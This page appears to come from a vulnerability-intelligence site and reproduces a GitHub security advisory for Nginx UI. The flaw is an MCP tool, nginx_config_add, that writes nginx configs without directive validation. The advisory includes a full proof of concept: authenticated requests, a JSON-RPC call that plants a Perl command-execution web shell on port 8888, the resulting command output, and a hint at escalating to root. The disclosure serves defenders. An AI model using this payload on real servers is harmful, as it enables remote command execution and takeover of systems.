llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/0xJacky/Nginx-UI

GHSA-9JWW-CXG5-RJ9M

Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición34 dDesde la divulgación, 15 oct 2026, 3:11 p. m.
Detección32 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
15 oct 26
19 oct 26
17 nov 26
19 nov 26
15 oct 26
24 oct 26
2 nov 26
10 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-9JWW-CXG5-RJ9M divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The MCP tool `nginx_config_add` writes nginx configuration files to disk and triggers an nginx reload without calling `config.ValidateConfigFile`. The identical flow in the REST API (`POST /api/configs`) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (`perl`, `js_import`, `load_module`, `user root`, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.

Details

`api/config/add.go` (line 46) calls `config.ValidateConfigFile` before writing:

err = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist
if err != nil {
    cosy.ErrHandler(c, err)
    return
}

`mcp/config/config_add.go` (line 79) omits that call entirely and writes directly:

err = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload)               // reload triggered immediately

`config.ValidateConfigFile` runs two checks:
- `ValidateConfigContent` — rejects control characters, enforces encoding.
- `ValidateConfigDirectives` — rejects a blocklist of dangerous directives: `perl`, `perl_modules`, `perl_require`, `perl_set`, `js_import`, `js_set`, `js_content`, `load_module` (restricted modules), `user root`, and others.

Neither check runs on the MCP path. Note that `mcp/config/config_modify.go` does call `ValidateConfigFile` correctly — only `config_add.go` is affected.

The MCP endpoint (`GET /mcp` SSE + `POST /mcp_message` JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.

PoC

1 — Control: confirm REST API blocks the payload

POST /api/configs
Authorization: <token>

{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }

Response:

HTTP 500  scope=config  code=40017
message: file content contains restricted nginx directive: {0}

`ValidateConfigDirectives` rejects `perl` — the REST API is working as intended.

2 — Open MCP SSE session

GET /mcp
Authorization: <token>
Accept: text/event-stream

Extract `sessionId` from the `endpoint` event.

3 — MCP initialize handshake

POST /mcp_message?sessionId=<id>

{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
  "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }

4 — Call `nginx_config_add` with the identical blocked payload

POST /mcp_message?sessionId=<id>

{
  "jsonrpc": "2.0", "id": 2, "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "rce_backdoor.conf",
      "base_dir": "conf.d",
      "overwrite": true,
      "content": "server {\n    listen 8888;\n\n    location /rce {\n        perl 'sub {\n            my $r = shift;\n            my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n            $cmd ||= \"id\";\n            $r->send_http_header(\"text/plain\");\n            $r->print(qx($cmd 2>&1));\n            return OK;\n        }';\n    }\n}\n"
    }
  }
}

Response (`HTTP 200 OK`) — file written to `/etc/nginx/conf.d/rce_backdoor.conf`, nginx reloaded automatically:

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
      }
    ]
  }
}

The `perl` directive — explicitly listed in `blockedConfigDirectives` and rejected by the REST API — passes through without any check.

5 — Trigger RCE

GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)
Impact

Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.

On servers running nginx with the Perl module (`nginx:mainline-perl`) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a `user root;` directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
github.com/0xJacky/Nginx-UI≥ 1.9.10-0.20250506154222-1330888280a2 < 1.9.10-0.20260703131214-23d1934099b0
v1.9.9
1.9.10-0.20250506154222-1330888280a2
1.9.10-0.20260703131214-23d1934099b0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/0xJacky/Nginx-UI
Sin parche — — v1.9.9 no afectada
Versiones corregidascommit 23d1934
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-84318
Otrahttps://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m
Otrahttps://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
Otrahttps://github.com/0xJacky/nginx-ui
Otrahttps://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.